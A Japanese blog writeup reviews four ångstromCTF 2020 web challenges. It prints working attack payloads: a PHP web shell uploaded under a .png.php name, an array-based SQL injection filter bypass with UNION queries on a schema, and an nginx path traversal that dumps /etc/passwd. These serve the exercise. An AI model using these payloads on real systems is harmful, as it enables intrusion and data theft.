好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

ångstromCTF 2020 Web分野の復習 writeup

2020年 3/14(土)9:00 - 3/19(木)9:00 JST で開催された、ångstromCTFのWeb分野の復習です。CTF Timesはこちら
writeup, 戦績はこちら。

kusuwada.hatenablog.com

最後のUBIはwriteupが公式解法のスクリプトしか見つからず、読み解くのにめっちゃ時間がかかりましたが、とても面白かったです!(それでもheap問と比べれば気分がめっちゃ楽だった…)

[Web] Defund's Crypt

One year since defund's descent. One crypt. One void to fill. Clam must do it, and so must you.

Hint

Who says images can't identify as more than one thing? This is 2020.

問題文の意味がさっぱりわかりませんが、とりあえずリンク先に飛んでみます。

f:id:kusuwada:20200405110526p:plain

ソースを読んでみると、コメントに

<!-- Defund was a big fan of open source so head over to /src.php -->
<!-- Also I have a flag in the filesystem at /flag.txt but too bad you can't read it -->

こんなのがあったので、/src.phpにアクセスしてみました。

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width,initial-scale=1">
        <link href="https://fonts.googleapis.com/css?family=Inconsolata|Special+Elite&display=swap" rel="stylesheet">
        <link rel="stylesheet" href="/style.css">
        <title>Defund's Crypt</title>
    </head>
    <body>
        <!-- Defund was a big fan of open source so head over to /src.php -->
        <!-- Also I have a flag in the filesystem at /flag.txt but too bad you can't read it -->
        <h1>Defund's Crypt<span class="small">o</span></h1>
        <?php
            if ($_SERVER["REQUEST_METHOD"] === "POST") {
                // I just copy pasted this from the PHP site then modified it a bit
                // I'm not gonna put myself through the hell of learning PHP to write one lousy angstrom chall
                try {
                    if (
                        !isset($_FILES['imgfile']['error']) ||
                        is_array($_FILES['imgfile']['error'])
                    ) {
                        throw new RuntimeException('The crypt rejects you.');
                    }
                    switch ($_FILES['imgfile']['error']) {
                        case UPLOAD_ERR_OK:
                            break;
                        case UPLOAD_ERR_NO_FILE:
                            throw new RuntimeException('You must leave behind a memory lest you be forgotten forever.');
                        case UPLOAD_ERR_INI_SIZE:
                        case UPLOAD_ERR_FORM_SIZE:
                            throw new RuntimeException('People can only remember so much.');
                        default:
                            throw new RuntimeException('The crypt rejects you.');
                    }
                    if ($_FILES['imgfile']['size'] > 1000000) {
                        throw new RuntimeException('People can only remember so much..');
                    }
                    $finfo = new finfo(FILEINFO_MIME_TYPE);
                    if (false === $ext = array_search(
                        $finfo->file($_FILES['imgfile']['tmp_name']),
                        array(
                            '.jpg' => 'image/jpeg',
                            '.png' => 'image/png',
                            '.bmp' => 'image/bmp',
                        ),
                        true
                    )) {
                        throw new RuntimeException("Your memory isn't picturesque enough to be remembered.");
                    }
                    if (strpos($_FILES["imgfile"]["name"], $ext) === false) {
                        throw new RuntimeException("The name of your memory doesn't seem to match its content.");
                    }
                    $bname = basename($_FILES["imgfile"]["name"]);
                    $fname = sprintf("%s%s", sha1_file($_FILES["imgfile"]["tmp_name"]), substr($bname, strpos($bname, ".")));
                    if (!move_uploaded_file(
                        $_FILES['imgfile']['tmp_name'],
                        "./memories/" . $fname
                    )) {
                        throw new RuntimeException('Your memory failed to be remembered.');
                    }
                    http_response_code(301);
                    header("Location: /memories/" . $fname);
                } catch (RuntimeException $e) {
                    echo "<p>" . $e->getMessage() . "</p>";
                }
            }
        ?>
        <img src="crypt.jpg" height="300"/>
        <form method="POST" action="/" autocomplete="off" spellcheck="false" enctype="multipart/form-data">
            <p>Leave a memory:</p>
            <input type="file" id="imgfile" name="imgfile">
            <label for="imgfile" id="imglbl">Choose an image...</label>
            <input type="submit" value="Descend">
        </form>
        <script>
            imgfile.oninput = _ => {
                imgfile.classList.add("satisfied");
                imglbl.innerText = imgfile.files[0].name;
            };
        </script>
    </body>
</html>

わーい🙌!ソースがフルで落とせました。続きのコメントに書いてあるように/flag.txtもいるらしいのですが、権限のせいか読めません。

画像をuploadできるみたい。試しに今DLしたtop画のcrypt.jpgをアップしてみると、こんな感じでボタンのところの名前がuploadした画像のファイル名に変わりました。

f:id:kusuwada:20200405110605p:plain

そのままDescendボタンを押すと画像がアップロードされ、アップロードした画像が表示されます。

ファイル名に攻撃を仕込むのかな?などといろいろ検索・試行錯誤してみましたが、ここで時間切れ。

ここから復習

まず、ソースコードから以下のことがわかります。

if (false === $ext = array_search(
    $finfo->file($_FILES['imgfile']['tmp_name']),
    array(
        '.jpg' => 'image/jpeg',
        '.png' => 'image/png',
        '.bmp' => 'image/bmp',
    ),
    true
)) {
    throw new RuntimeException("Your memory isn't picturesque enough to be remembered.");
}
if (strpos($_FILES["imgfile"]["name"], $ext) === false) {
    throw new RuntimeException("The name of your memory doesn't seem to match its content.");
}

MIME_TYPEをチェックし、そのMIME_TYPEにあった拡張子がファイル名に含まれているか、の判定のみを行っているので、test.png.phpみたいな名前のファイルだとチェックを通ってしまいます。

$bname = basename($_FILES["imgfile"]["name"]);
$fname = sprintf("%s%s", sha1_file($_FILES["imgfile"]["tmp_name"]), substr($bname, strpos($bname, ".")));
if (!move_uploaded_file(
    $_FILES['imgfile']['tmp_name'],
    "./memories/" . $fname
)) {
    throw new RuntimeException('Your memory failed to be remembered.');
}
http_response_code(301);
header("Location: /memories/" . $fname);

上記から、アップされたファイルは./memories/{sha1}.{拡張子}に格納され、リダイレクトするresponseが返ります。

皆さんのwriteupを読むと、LFI(ローカルファイルインクルード攻撃)が有効だったようです。

画像ファイルにPHPコードを埋め込む攻撃は既知の問題 – yohgaki's blog

以下の2パターンを試してみました。

  1. pngファイルをHEXエディタで開いて、Magic以降の適当な部分にflagを出力させるコードを埋め込む
  2. systemコマンドで、引数をクエリパラメータから取ってくるコードを埋め込み、任意のコマンドが実行できるようにする

1. pngファイルをHEXエディタで開いて、Magic以降の適当な部分にflagを出力させるコードを埋め込む

ångstromCTF 2020 write up · kuzushikiのぺーじ

こちらを参考にさせていただきました。

適当な画像ファイルを用意します。(今回はtest.png
バイナリエディタで開いて、Magic以降の適当な箇所にphpコードを埋め込みます。

<?php $flag=file_get_contents('/flag.txt'); echo $flag;?>

f:id:kusuwada:20200405110704p:plain

このファイルをブラウザからuploadしDescendボタンを押すと、ファイルの中身が表示され、その中にflagが入っていました!

f:id:kusuwada:20200405110729p:plain

上記のwriteupでは、jpeg画像でexif箇所にコードを埋めています。きれいなので、もう少し制約がきつくても使えそうです。

2.systemコマンドで、引数をクエリパラメータから取ってくるコードを埋め込み、任意のコマンドが実行できるようにする

一方、システムコマンドを埋め込むと実質何でもできるようになります。

CTFtime.org / ångstromCTF 2020 / Defund's Crypt / Writeup

こちらを参考にさせていただきました。

<?php system($_GET['cmd']);?>
https://crypt.2020.chall.actf.co/memories/2b5388fca90e400fd649a6ee50792ad6fd55dfcf.png.php

にアップロードされたので

https://crypt.2020.chall.actf.co/memories/2b5388fca90e400fd649a6ee50792ad6fd55dfcf.png.php?cmd=cat%20/flag.txt

にアクセスすると、cat /flag.txt が実行されて、flagが表示されました。

f:id:kusuwada:20200405110750p:plain

他、pwd ls /などのコマンドの結果も得られました。これも汎用性が高そう。
初めてやるタイプの問題&オーソドックスなやつっぽいので、とても勉強になった!

[Web] Woooosh

Clam's tired of people hacking his sites so he spammed obfuscation on his new game. I have a feeling that behind that wall of obfuscated javascript there's still a vulnerable site though. Can you get enough points to get the flag? I also found the backend source.

Hint

The frontend is obfuscated but maybe something else isn't?

問題文とヒントから、frontendが難読されたjavascriptで構成されているようです。ただ、frontend以外のところはまだ読めるようで、そこが脆弱だという話かなぁ?

下記のindex.jsが配布されます。

const express = require("express");
const exphbs = require("express-handlebars");
const socket = require("socket.io");
const path = require("path");
const http = require("http");

const app = express();
const serv = http.createServer(app);
const io = socket.listen(serv);
const port = process.env.PORT || 60600;

function rand(bound) {
    return Math.floor(Math.random() * bound);
}

function genId() {
    const chars = "abcdefghijklmnopqrstuvwxyz0123456789";
    return new Array(64).fill(0).map(v => chars[rand(chars.length)]).join``;
}

function genShapes() {
    return new Array(20).fill(0).map(v => ({ x: rand(500), y: rand(300) }));
}

function dist(a, b, c, d) {
    return Math.sqrt(Math.pow(c - a, 2), Math.pow(d - b, 2));
}

app.use(express.static(path.join(__dirname, "public")));

const hbs = exphbs.create({
    extname: ".hbs",
    helpers: {}
});

app.engine("hbs", hbs.engine);
app.set("view engine", "hbs");
app.set("views", path.join(__dirname, "views"));

io.on("connection", client => {
    let game;
    setTimeout(function() {
        try {
            client.disconnect();
        } catch (err) {}
    }, 1 * 60 * 1000);
    function endGame() {
        try {
            if (game) {
                if (game.score > 50) {
                    client.emit(
                        "disp",
                        `Good job! You're so good at this! The flag is ${process.env.FLAG}!`
                    );
                } else {
                    client.emit(
                        "disp",
                        "Wow you're terrible at this! No flag for you!"
                    );
                }
                game = null;
            }
        } catch (err) {}
    }
    client.on("start", function() {
        try {
            if (game) {
                client.emit("disp", "Game already started.");
            } else {
                game = {
                    shapes: genShapes(),
                    score: 0
                };
                game.int = setTimeout(endGame, 10000);
                client.emit("shapes", game.shapes);
                client.emit("score", 0);
            }
        } catch (err) {}
    });
    client.on("click", function(x, y) {
        try {
            if (!game) {
                return;
            }
            if (typeof x != "number" || typeof y != "number") {
                return;
            }
            if (dist(game.shapes[0].x, game.shapes[1].y, x, y) < 10) {
                game.score++;
            }
            game.shapes = genShapes();
            client.emit("shapes", game.shapes);
            client.emit("score", game.score);
        } catch (err) {}
    });
    client.on("disconnect", function() {
        try {
            if (game) {
                clearTimeout(game.int);
            }
            game = null;
        } catch (err) {}
    });
});

app.get("/", function(req, res) {
    res.render("home");
});

serv.listen(port, function() {
    console.log(`Server listening on port ${port}!`);
});

ゲームの獲得スコアが 50 点を超えると、下記の通りflagを表示してくれるみたいです。

`Good job! You're so good at this! The flag is ${process.env.FLAG}!`

サイトに飛んで、ゲームを開始してみると、こんなゲームが始まります。

f:id:kusuwada:20200405110851p:plain

どうやら、たくさんある赤い四角の中から、丸いやつを探してクリックするゲームのようです。所定時間内に50回押せたらクリア。人力でやってみたところ、私の最高記録は5でした。50なんて無理無理。

ソースから、バックエンド側で得点を管理しているようなので、フロントエンドの値をいくら書き換えたところで、ゲーム終了時のスコアは書き換わらない。タイムアウトの秒数も、バックエンド側にハードコーディングされているので厳しい。

CTFっぽくないけど、赤丸を認識させて座標を特定・クリック!みたいなスクリプトを書いたら行けるのかも知れない、と思ったものの、本質ではなさそうなのでこれをやる時間は割けないな、と判断。(他の問題は無理やり解法しまくったくせに😇)

ここから復習

これも、いくつか解法が出回っていました。

  1. frontendのコードを書き換えてプレイ
  2. 丸点の座標が降ってきているので、これを取得してクリックし返すようなフロントエンドのスクリプトを作成

この2つがわかりやすそう。

いずれも、frontendの難読化されたソースをある程度読み解いています。

javascriptの難読化解除、という説明が多いですが、難読化されたソースを整形して綺麗に読めるようにするオンラインツールはいくつかあります。下記はその一つ。

Online JavaScript beautifier

これにかけたあとのfrontendコード(main.js)を確認します。気になる名前の関数が見つかります。

function drawShapes() {
  ctx[_0x34d7('0x9')](0x0, 0x0, 0x1f4, 0x12c);
  shapes['map']((_0x401a13, _0x53031c) => _0x53031c ? ctx[_0x34d7('0x17')](_0x401a13['x'] - 0x5, _0x401a13['y'] - 0x5, 0xa, 0xa) : ctx['beginPath']() + ctx[_0x34d7('0xa')](_0x401a13['x'], _0x401a13['y'], 0x5, 0x0, Math['PI'] * 0x2) + ctx[_0x34d7('0x28')]() + ctx[_0x34d7('0x2f')]());
}

function getCursorPosition(_0x2b237a, _0x380ec8) {
  var _0x127ab4 = {
    'NhgpB': function (_0x3d88ae, _0x1d8777) {
      return _0x3d88ae - _0x1d8777;
    }
  };
  const _0x17e5d8 = _0x2b237a[_0x34d7('0x2b')]();
  const _0x4a40e = _0x127ab4[_0x34d7('0x46')](_0x380ec8[_0x34d7('0x43')], _0x17e5d8['left']);
  const _0x1efa5e = _0x127ab4[_0x34d7('0x46')](_0x380ec8['clientY'], _0x17e5d8[_0x34d7('0x6c')]);
  return [_0x4a40e, _0x1efa5e];
}

この中のshapesという変数に注目して、Chrome開発者ツールでwatchしてみます。

f:id:kusuwada:20200405110914p:plain

ゲームを開始して、この変数の更新ボタンを押すと、20個の座標が送られてきているのがわかります。クリックするごとに値が変わるので、円と四角の座標と見て間違いなさそうです。(※Breakpointは解除した状態で実施。赤い四角のところのボタンで解除/実施の切替可)

また、バックエンド側のソースindex.jsの下記のコードより

if (dist(game.shapes[0].x, game.shapes[1].y, x, y) < 10) {
    game.score++;
}

shapes[0].xshapes[1].y と、クリックされた座標 x, y の距離を評価しているようなので、クリックする座標をshapes[0].xshapes[1].yに合わせてあげると良さそう。…?うーん、普通に遊べるので、shapes[n].xshapes[n].yが使われていて欲しいんだけど、frontend側からbackend側に座標を渡す時に何か変換が行われているのかな?

これを元に、上記の1,2それぞれの方法で解いてみます。

1. frontendのコードを書き換えてプレイ

実はソースの書き換えのやり方がよく分からず、他の問題でもよく諦めていました。

ångstromCTF 2020 の write-up - st98 の日記帳

st98さんのwriteupより、下記をconsoleで打つことで、関数の挙動を上書きできることがわかりました!🙌

getCursorPosition = () => [shapes[0].x, shapes[1].y];

クリックした座標ではなく、丸点の座標を返すように書き換えてしまいます。
この書き換えを行ってゲームをプレイ、1秒に1~2回ずつくらい適当な場所をクリックすると順調にスコアが加算され、23ptのところでflagが表示されました。

f:id:kusuwada:20200405110939p:plain

この方法でも、結構頑張らないと時間内にクリアできなかった。

2. 丸点の座標が降ってきているので、これを取得してクリックし返すようなフロントエンドのスクリプトを作成

おそらく、問題文・ヒントから、こちらが想定解っぽい。バックエンドのソースを元に、フロントエンドをこちらで作ってあげて動作させれば良い。
index.jsや、サイトのメッセージを見ていると、ソケット通信が使われているようです。

io.on("connection", client => {

ソケット通信、概要は知っているつもりでしたが、いざ攻撃・実装してみようとすると経験がなさすぎてスクリプト書くの諦めたところもあるので、再度概要のおさらい。

webSocket通信を知らないiOSエンジニアが知っておいて損はしない(経験談的な)軽い話

※資料の前半が大変わかりやすかった。

pythonで書く場合は、ソケット通信のpythonライブラリである、python-socketioを使うようです。

python-socketio — python-socketio documentation

index.jsから、Client側に期待されている関数に

client.emit("disp", "Game already started.");
client.emit("shapes", game.shapes);
client.emit("score", game.score);
client.on("start", function() {
client.on("click", function(x, y) {
client.on("disconnect", function() {

があることがわかります。これをこちらで作ってあげます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import socketio

sio = socketio.Client()

@sio.event
def disp(message):
    print('[Disp]: ' + message)

@sio.event
def shapes(shapes):
    print('Shapes: (' + str(shapes[0]['x']) + ', ' + str(shapes[1]['y']) + ')')
    sio.emit('click', (int(shapes[0]['x']), int(shapes[1]['y'])))

@sio.event
def score(score):
    print('[Score]: ' + str(score))

sio.connect('https://woooosh.2020.chall.actf.co/socket.io')
sio.emit('start')

実行結果

$ python solve.py 
Shapes: (425, 73)
[Score]: 0
Shapes: (87, 132)
[Score]: 1
Shapes: (40, 60)
[Score]: 2
Shapes: (331, 69)
[Score]: 3
Shapes: (239, 267)
[Score]: 4
Shapes: (320, 106)
(~中略~)
[Score]: 42
Shapes: (404, 108)
[Score]: 43
Shapes: (310, 2)
[Score]: 44
[Disp]: Good job! You're so good at this! The flag is actf{w0000sh_1s_th3_s0und_0f_th3_r3qu3st_fly1ng_p4st_th3_fr0nt3nd}!

こういう問題、ちゃっと解けるようになりたいなー。こちらも基礎っぽい問題だったし、jsの関数上書きやsocket通信について学べたので良かった!

[Web] A Peculiar Query

Clam thinks he's really cool and compiled a database of "criminal records" with a site to top it all off. I've dropped the tables once before but this time he took some extra security measures and I think he even hid a flag in there. Can you get it?

サイトに飛んでみると、こんな感じ。

f:id:kusuwada:20200405111005p:plain

database系の問題の様子。サイトの文にソースコードのリンクがあるので、ソースを見てみます。

const express = require("express");
const rateLimit = require("express-rate-limit");
const app = express();
const { Pool, Client } = require("pg");
const port = process.env.PORT || 9090;
const path = require("path");

const client = new Client({
    user: process.env.DBUSER,
    host: process.env.DBHOST,
    database: process.env.DBNAME,
    password: process.env.DBPASS,
    port: process.env.DBPORT
});

async function query(q) {
    const ret = await client.query(`SELECT name FROM Criminals WHERE name ILIKE '${q}%';`);
    return ret;
}

app.set("view engine", "ejs");

app.use(express.static("public"));

app.get("/src", (req, res) => {
    res.sendFile(path.join(__dirname, "index.js"));
});

app.get("/", async (req, res) => {
    if (req.query.q) {
        try {
            let q = req.query.q;
            // no more table dropping for you
            let censored = false;
            for (let i = 0; i < q.length; i ++) {
                if (censored || "'-\".".split``.some(v => v == q[i])) {
                    censored = true;
                    q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);
                }
            }
            q = q.substring(0, 80);
            const result = await query(q);
            res.render("home", {results: result.rows, err: ""});
        } catch (err) {
            console.log(err);
            res.status(500);
            res.render("home", {results: [], err: "aight wtf stop breaking things"});
        }
    } else {
        res.render("home", {results: [], err: ""});
    }
});

app.listen(port, function() {
    client.connect();
    console.log("App listening on port " + port);
});

ここでクエリに使われているILIKEを調べたところ、大文字小文字を区別しないLIKE検索で、Posgres SQLで使われるらしい。

PostgreSQL 9.4.5文書 9.7. パターンマッチ

現在のロケールに従って大文字小文字を区別しない一致を行うのであれば、LIKEの代わりにILIKEキーワードを使うことができます。 これは標準SQLではなく、PostgreSQLの拡張です。

ILIKE '${q}%' なので、前方一致で調べてくれるみたい。

for (let i = 0; i < q.length; i ++) {
    if (censored || "'-\".".split``.some(v => v == q[i])) {
        censored = true;
        q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);

"'-\"."', -, ", .の文字。split\`はsplit("")と同じ意味らしい。これらの記号が1つでも入っていたら、検閲(censored)がtrueになり、該当の文字以降が*に置き換わる。
例えば q = alice だとすると、alice'-".は含まれないので、q = aliceのまま。攻撃をしようと、q = ' or 1=1;-- などとすると、q = ***********となってしまって、攻撃は成功しない。困った。

とりあえず、前方一致ってことは一文字でもあってればいいんでしょ?ということで、0-1, a-zを試してみました。

f:id:kusuwada:20200405111043p:plain

早速、aの時点でaplet123さんがヒット。bも同様にboshuaさんがヒットします。

c: clam
d: derekthesnake
j: Joe, John, Jack, Jill, Jonah, Jeff
k: kmh

地道に見たけど、これだけがヒット。皆 where's my million dollars という犯罪歴です。
...あ、%を入れたら全部見えるんだった…。同じく、_,___を入れても全部見える。

f:id:kusuwada:20200405111109p:plain

うーん、全員分のレコードを見てみたけど、Name, Criminal Record カラムにはflagは無いみたい。

シングルクォートの置き換えを探してこの辺の記事をさまよったり。

SQLiのフィルタ回避としてこの辺をさまよったり

PostgresSQLの攻撃チートシートを探したり

もう一つ、80文字以内という制限があるのも気になる。とても長いクエリになるのかも知れない。

などとブツブツ言いながら色々試しましたが、競技中には解けませんでした。

ここから復習

いくつかwriteupを読んでみましたが、こういうときは 配列 を試すんだった…!過去のSQL injection問題で出会ったことがあったのに、全く思いつかなかった…!
qが文字列であるかのチェックがないことから、配列を突っ込んでみる…と。メモメモ_φ(・_・

今回のクエリは、URLのクエリパラメータに渡されるので、aと検索した場合のURLは

/?q=a

となります。同様に、'を検索した場合はURLエンコードされて

/?q=%27

となります。ここに配列を食わせる方法はいくつかあるようですが、参考にさせていただいたwriteupでは

/?q=a&q=b&q=c

みたいにして配列を入れています。

/?q[]=a&q[]=b&q[]=c

でも入るみたい。配列を利用して、フィルタが回避できないか色々試してみるのが良いようなので、やってみます。

/?q=abc&q=def

を送ると、Error画面を拝むことが出来ました。

f:id:kusuwada:20200405111130p:plain

consoleを確認しても、500が返ってきています。何が起こっているか考えてみます。

for (let i = 0; i < q.length; i ++) {
    if (censored || "'-\".".split``.some(v => v == q[i])) {
        censored = true;
        q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);
    }
}
q = q.substring(0, 80);

q=['abc','def']q.length=2です。
',-,",.と比較されるのは、abcdef。一致しないので、その後の*で置き換える処理は通りません。
その次に呼ばれるq.substring()関数はStringオブジェクトの組み込みメソッドらしいので、qが文字列ではなく配列の場合は、ここでエラーが発生してしまいます。
ここで落ちないためには、*の置き換え処理を通ってqを文字列に変換して貰う必要があります。
となると、少なくとも最後のq[i]',-,",.のどれかにし、置き換え処理を通ってもらう必要がありそう。

試しに最後に置き換え文字を入れてみるとどうなるでしょう。

/?q=abc&q=def&q=-

q = ['abc','def','-']。まず、上記のスクリプトi=2の時に置き換えが走ります。(q.slice(a,b)qが配列だった場合の挙動はこちらを参照。指定された区間の部分配列が返ります。)

q = abc,def*

その後ループを抜けて終了…しそうなんですが、qが配列から文字列に変わったことにより、length3から8に変わっています。なのでi=3,4,5,6,7,7まで回ります。
i=2の時に、censored = trueになっているので、毎回置き換え処理が走り、最終的には

q = abc*****

となります。

では、全レコードを正常に出してくれる下記のようなクエリを流すことを考えましょう。

ILIKE 'a' or 1=1; --%';

配列の1つ目にはa' or 1=1; --をurlエンコードした値を入れます。これは13文字。なので、i=13以降に置き換えが走るようダミーの配列要素を入れ、13番目の配列に置き換え対象文字を入れます。

/?q=a%27+or+1%3D1%3B+--&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=a&q=-

このクエリを突っ込むと、全レコード出てきました🙌 SQL injection成功です!

f:id:kusuwada:20200405111157p:plain

でも、%を入れただけのときと同様、出力してくれるテーブルの中にはflagはありません。他の情報を出してもらわないと。

ここで、SQL injectionのクエリをURLに変換するスクリプトを作成。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import urllib.request

sqli_query = """a' or 1=1; --"""

url = '/?q=' + urllib.request.quote(sqli_query)
for i in range(len(sqli_query)-1):
    url += '&q=a'
url += '&q=-'

print(url)

table情報を出してくれるクエリ。

' union select table_name from information_schema.tables;--

を実施してもらいます。

f:id:kusuwada:20200405111225p:plain

めっちゃ出てきましたが、タイトルからもcriminalstableが怪しい。
今度は、column名を見ます。table_nameがわかっているので、where table_name~としたいのですが、クエリが長すぎて80文字を超えてしまいます。なので、Postgres SQL Injection Cheat Sheet | pentestmonkeyString Concatenation||を使って、{table_name}{column_name}を出力するようにしてもらいます。

' union select table_name||column_name from information_schema.columns;--

もしくは、素直にconcat()関数を使っても良い。ぎり80文字。

' union select concat(table_name,column_name) from information_schema.columns;--

たくさん出てきましたが、table_namecriminalsで引っ掛けると、2つ引っかかりました。

f:id:kusuwada:20200405111243p:plain

f:id:kusuwada:20200405111246p:plain

nameは元々表示されている知っているやつなので、secretなカラムはcrime。このカラムを表示させます。

' union select crime from criminals;--

f:id:kusuwada:20200405111307p:plain

学びが多くて楽しい問題だった٩(๑❛ᴗ❛๑)尸

writeupを読んでみると、server側のソースが手に入っているので、ローカルでserverを立てて挙動を確認する、というのがあった。なるほどー!実際、javascriptの関数を熟知しているか、手元で動かしながら挙動を確認していくかしないと、ググった内容を机上でなぞるだけでは問題は解くの厳しそう。

[Web] LeetTube

I developed a new video streaming service just for hackers. Learn all about viruses, IP addresses, and more on LeetTube! Here's the source code and the Dockerfile.

Note: the server is also running behind NGINX.

Hint

I wonder what's in that unpublished video...

Dockerfile.txtleettuve.pyが配布されます。

FROM kmh11/python3.1
COPY app /app
RUN useradd -ms /bin/bash app
RUN chown -R app /app
USER app
EXPOSE 8000
ENTRYPOINT cd /app && ./leettube.py
#!/usr/bin/env python
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse
import os

videos = []
for file in os.listdir('videos'):
    os.chmod('videos/'+file, 0o600)
    videos.append({'title': file.split('.')[0], 'path': 'videos/'+file, 'content': open('videos/'+file, 'rb').read()})
published = []
for video in videos:
    if video['title'].startswith('UNPUBLISHED'): os.chmod(video['path'], 0) # make sure you can't just guess the filename
    else: published.append(video)

class RequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        try:
            self.path = urllib.parse.unquote(self.path)
            if self.path.startswith('/videos/'):
                file = os.path.abspath('.'+self.path)
                try: video = open(file, 'rb', 0)
                except OSError:
                    self.send_response(404)
                    self.end_headers()
                    return
                reqrange = self.headers.get('Range', 'bytes 0-')
                ranges = list(int(i) for i in reqrange[6:].split('-') if i)
                if len(ranges) == 1: ranges.append(ranges[0]+65536)
                try:
                    video.seek(ranges[0])
                    content = video.read(ranges[1]-ranges[0]+1)
                except:
                    self.send_response(404)
                    self.end_headers()
                    return
                self.send_response(206)
                self.send_header('Accept-Ranges', 'bytes')
                self.send_header('Content-Type', 'video/mp4')
                self.send_header('Content-Range', 'bytes '+str(ranges[0])+'-'+str(ranges[0]+len(content)-1)+'/'+str(os.path.getsize(file)))
                self.end_headers()
                self.wfile.write(content)
            elif self.path == '/':
                self.send_response(200)
                self.send_header('Content-Type', 'text/html')
                self.end_headers()
                self.wfile.write(("""
<style>
body {
  background-color: black;
  color: #00e33d;
  font-family: monospace;
  max-width: 30em;
  font-size: 1.5em;
  margin: 2em auto;
}
</style>
<h1>LeetTube</h1>
<p>There are <strong>"""+str(len(published))+"</strong> published video"+('s' if len(published) > 1 else '')+" and <strong>"+str(len(videos)-len(published))+"</strong> unpublished video"+('s' if len(videos)-len(published) > 1 else '')+".</p>"+''.join("<h2>"+video["title"]+"</h2><video controls src=\""+video["path"]+"\"></video>" for video in published)).encode('utf-8'))
            else:
                self.send_response(404)
                self.end_headers()
        except:
            self.send_response(500)
            self.end_headers()

httpd = HTTPServer(('', 8000), RequestHandler)
httpd.serve_forever()

サイトはこんな感じ。

f:id:kusuwada:20200405111344p:plain

この問題は全然見れなかったので1から復習。

ここから復習

ソースを見た感じ、videoのファイル名がUNPUBLISHEDから始まっているときはファイルに対する権限を剥奪し、その他の場合は公開リストに入れている。videoの置き場はvideos/{filename}で、例えばhttps://leettube.2020.chall.actf.co/videos/Virus.mp4にアクセスすると、1つ目のvirus動画が見れる。

サイトのトップにThere are 3 published videos and 1 unpublished video.とあるので、このunpublished videoがflagに繋がるのかな。

if video['title'].startswith('UNPUBLISHED'): os.chmod(video['path'], 0) # make sure you can't just guess the filename

ここのロジックから、非公開videoはUNPUBLISHEDから始まるファイルネームっぽい。コメントで注意されてる通り、UNPUBLISHEDFlag.mp4みたいにファイル名を推測して突っ込んでみてもなんの権限も無いし、そもそも名前があってるかもわからないので当然ダメ。

また、

           if self.path.startswith('/videos/'):

ここでトップ画面を出すか、コンテンツを返すか決めているのですが、ソース中でpathを自前パースしてしまっているので/videos/../../hogehogeみたいな指定でも通りそう。配布されたコードとDockerfile.txtから

app/leettube.py

のpathが存在することがわかっているので、このleettube.pyを探してみます。ブラウザバーに../を直接打ち込んだりcurlコマンドをオプション無しだと、../が省略されてしまうのでcurlコマンドで--path-as-isオプションを付けて実行します。

$ curl --path-as-is 'https://leettube.2020.chall.actf.co/videos/../leettube.py'
#!/usr/bin/env python
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse
import os

videos = []
for file in os.listdir('videos'):
    os.chmod('videos/'+file, 0o600)
    videos.append({'title': file.split('.')[0], 'path': 'videos/'+file, 'content': open('videos/'+file, 'rb').read()})
(省略)

leettube.pyが返ってきました。

ディレクトリトラバーサルの定石、/etc/passwdを抜いてみます。

$ curl --path-as-is 'https://leettube.2020.chall.actf.co/videos/../../etc/passwd'
<html>
<head><title>400 Bad Request</title></head>
<body bgcolor="white">
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx/1.14.1</center>
</body>
</html>

Bad Requestです。nginx的に /app/ 配下へのアクセスしか許可していないので、/videos/../../、すなわち/にアクセスされた際にBadRequestが返ってきている、のかも知れません。(推測)

もしそうだとすると、/videos/../までは良いけど、これ以上は遡れないことになります。これは困った。

srikavin.me こちらのwriteupでは、ここでleettube.pyで使われているBaseHTTPRequestHandlerの仕様を確認したところ、queryについての記載が仕様にないのでself.pathの中にqueryが入っていること、更にleettube.py内でもquery stringについての処理がないことに気づいたそうです。

ということは、/videos/../?と始めると、nginx的には/videos/../のpathと思わせておいて、この先はクエリ、pythonコード側にはその先もpathとして扱ってもらえそう。pythonコード側ではos.path.abspathを使っていますが、これは途中のパスが存在するしないかのチェックをせずに変換を行います。なので、/videos/../?hogehoge/../../と指定すると、

  • nginx: /videos/../, すなわち /app 配下なのでオッケー!
  • python: /videos/../なんかしらんフォルダ/../../ すなわち /videos/../../, すなわち /

と解釈してくれます。python側の挙動をlocalでも確認してみます。

#!/usr/bin/env python
import os

# 存在しないpath ?hoge を間に挟んでみる
path = os.path.abspath('../?hoge/../../test_secret')
print(path)

with open(path, 'rb') as f:
    print(f.read())
$ tree
.
├── test_secret
└── tree1
    └── tree2
        └── test.py
$ cd tree1/tree2
$ python test.py 
/**/angstrtomctf2020/web/LeetTube/test_secret
b'This is test secret file!\n'

途中に存在しない変なpathが入っていても、チェックせずに変換されるんですねー!
この性質を使って/etc/passwdへのpathを送ってみます。

$ curl --path-as-is 'https://leettube.2020.chall.actf.co/videos/../?hoge/../../etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
